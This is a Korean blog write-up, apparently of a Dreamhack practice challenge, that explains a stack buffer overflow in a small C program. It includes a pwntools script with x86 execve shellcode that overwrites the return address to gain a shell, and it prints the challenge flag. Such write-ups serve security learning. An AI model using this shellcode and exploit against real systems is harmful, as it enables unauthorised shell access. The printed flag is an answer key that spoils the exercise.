#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
위 코드는 문제에서 주어진 코드이다. 취약점은 0x80 바이트 크기의 buf 변수에 scanf에서 141만큼 읽어들인다는 점이다. 스택을 사용하는 함수는 scanf 밖에 없으므로 현재 스택의 상황은 다음과 같다.
ret | |
sfp | |
... |
|
buf |
위가 높은 주소이고 아래가 낮은 주소이다. 스택은 높은 주소에서 낮은 주소로 차곡차곡 쌓이므로 처음에 scanf 함수가 돌아갈 return 주소가 ret에 들어가고 스택 베이스가 sfp에 저장되고 0x80 바이트 낮은 주소가 buf의 시작 주소가 된다. 따라서 buf 시작 주소에 쉘코드를 삽입하고 남은 바이트는 아무 문자열이나 채우고 마지막에 ret에 쉘 코드가 저장된 buf 시작 주소를 주입하면 쉘을 탈취할 수 있다.
#!/usr/bin/python
from pwn import *
context.log_level='debug' // 디버거로 메모리 상태 확인
r=remote("host1.dreamhack.games",22238)
r.recvuntil("buf = (")
buf=int(r.recv(10),16)
shellcode=b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload1=b"A"*106
payload2=p32(buf)
payload=shellcode+payload1+payload2
r.send(payload)
r.interactive()
위 코드는 익스플로잇 코드이다. 26바이트 길이의 쉘코드에 빈 공간을 채울 문자열 A 106개와 buf의 주소 값을 합쳐서 페이로드를 만들었다. 그리고 전송하면 해당 서버의 쉘을 이용할 수 있다.
플래그: DH{465dd453b2a25a26a847a93d3695676d}
'시스템 해킹 > 드림핵' 카테고리의 다른 글
[Dreamhack] Off_by_one_001 (0) | 2021.05.07 |
---|---|
[Dreamhack] basic_rop_x64 (0) | 2021.05.05 |
[Dreamhack] basic_rop_x86 (1) | 2021.05.03 |
[Dreamhack] off_by_one_000 (0) | 2021.04.18 |
[Dreamhack] basic_exploitation_001 (0) | 2021.04.11 |
댓글